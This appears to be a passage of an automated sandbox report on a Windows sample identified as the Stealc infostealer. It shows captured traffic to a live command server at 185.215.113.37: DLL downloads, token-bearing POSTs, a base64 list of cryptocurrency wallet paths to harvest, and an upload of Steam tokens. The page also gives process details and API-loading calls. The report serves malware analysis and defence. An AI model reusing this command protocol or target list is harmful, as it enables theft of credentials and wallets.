00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 14, 2024 13:08:25.253598928 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 14, 2024 13:08:25.479005098 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:25 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 14, 2024 13:08:27.121417999 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 14, 2024 13:08:27.345761061 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:27 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 14, 2024 13:08:27.539277077 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 14, 2024 13:08:27.763674021 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:27 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 14, 2024 13:08:28.293462038 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFCAAEGDBKJJKECBKFH Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 14, 2024 13:08:29.051135063 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 14, 2024 13:08:29.106189966 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECA Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 2d 2d 0d 0a Data Ascii: ------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="message"wallets------HCGDGIDGIJKKEBGDAECA--
Oct 14, 2024 13:08:29.334100962 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:29 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 14, 2024 13:08:29.336955070 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGHDGHCGHDHJKFBFBK Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="message"files------JKEGHDGHCGHDHJKFBFBK--
Oct 14, 2024 13:08:29.564146042 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 14, 2024 13:08:29.577284098 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="file"------IJJJKEGHJKFHJKFHDHCF--
Oct 14, 2024 13:08:30.302186966 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 14, 2024 13:08:30.327095032 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCB Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="message"ybncbhylepme------CBFCBKKFBAEHJKEBKFCB--
Oct 14, 2024 13:08:30.558562040 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 14, 2024 13:08:30.779792070 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:30 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Oct 14, 2024 13:08:30.782345057 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBAFBGIDHCBFHIECFCB Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 2d 2d 0d 0a Data Ascii: ------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AEBAFBGIDHCBFHIECFCB--
Oct 14, 2024 13:08:31.504101038 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	07:08:05
Start date:	14/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x770000
File size:	1'860'096 bytes
MD5 hash:	C2340CDFAE1DC172C61BF38B4C78F68F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2152965180.0000000005120000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2427149939.000000000149E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00789860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,014B06F0), ref: 007898A1
GetProcAddress.KERNEL32(75900000,014B0630), ref: 007898BA
GetProcAddress.KERNEL32(75900000,014B0738), ref: 007898D2
GetProcAddress.KERNEL32(75900000,014B05A0), ref: 007898EA
GetProcAddress.KERNEL32(75900000,014B0750), ref: 00789903
GetProcAddress.KERNEL32(75900000,014B8A10), ref: 0078991B
GetProcAddress.KERNEL32(75900000,014A6640), ref: 00789933
GetProcAddress.KERNEL32(75900000,014A6600), ref: 0078994C
GetProcAddress.KERNEL32(75900000,014B0570), ref: 00789964
GetProcAddress.KERNEL32(75900000,014B05E8), ref: 0078997C
GetProcAddress.KERNEL32(75900000,014B0600), ref: 00789995
GetProcAddress.KERNEL32(75900000,014B0648), ref: 007899AD
GetProcAddress.KERNEL32(75900000,014A6480), ref: 007899C5
GetProcAddress.KERNEL32(75900000,014B0768), ref: 007899DE
GetProcAddress.KERNEL32(75900000,014B0678), ref: 007899F6
GetProcAddress.KERNEL32(75900000,014A6660), ref: 00789A0E
GetProcAddress.KERNEL32(75900000,014B0780), ref: 00789A27
GetProcAddress.KERNEL32(75900000,014B08D0), ref: 00789A3F
GetProcAddress.KERNEL32(75900000,014A6520), ref: 00789A57
GetProcAddress.KERNEL32(75900000,014B0900), ref: 00789A70
GetProcAddress.KERNEL32(75900000,014A65A0), ref: 00789A88
LoadLibraryA.KERNEL32(014B0888,?,00786A00), ref: 00789A9A
LoadLibraryA.KERNEL32(014B0918,?,00786A00), ref: 00789AAB
LoadLibraryA.KERNEL32(014B0858,?,00786A00), ref: 00789ABD
LoadLibraryA.KERNEL32(014B0870,?,00786A00), ref: 00789ACF
LoadLibraryA.KERNEL32(014B08A0,?,00786A00), ref: 00789AE0
GetProcAddress.KERNEL32(75070000,014B08B8), ref: 00789B02
GetProcAddress.KERNEL32(75FD0000,014B08E8), ref: 00789B23
GetProcAddress.KERNEL32(75FD0000,014B8CB8), ref: 00789B3B
GetProcAddress.KERNEL32(75A50000,014B8D18), ref: 00789B5D
GetProcAddress.KERNEL32(74E50000,014A62C0), ref: 00789B7E
GetProcAddress.KERNEL32(76E80000,014B8B60), ref: 00789B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00789BB6

Strings

NtQueryInformationProcess, xrefs: 00789BAA

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
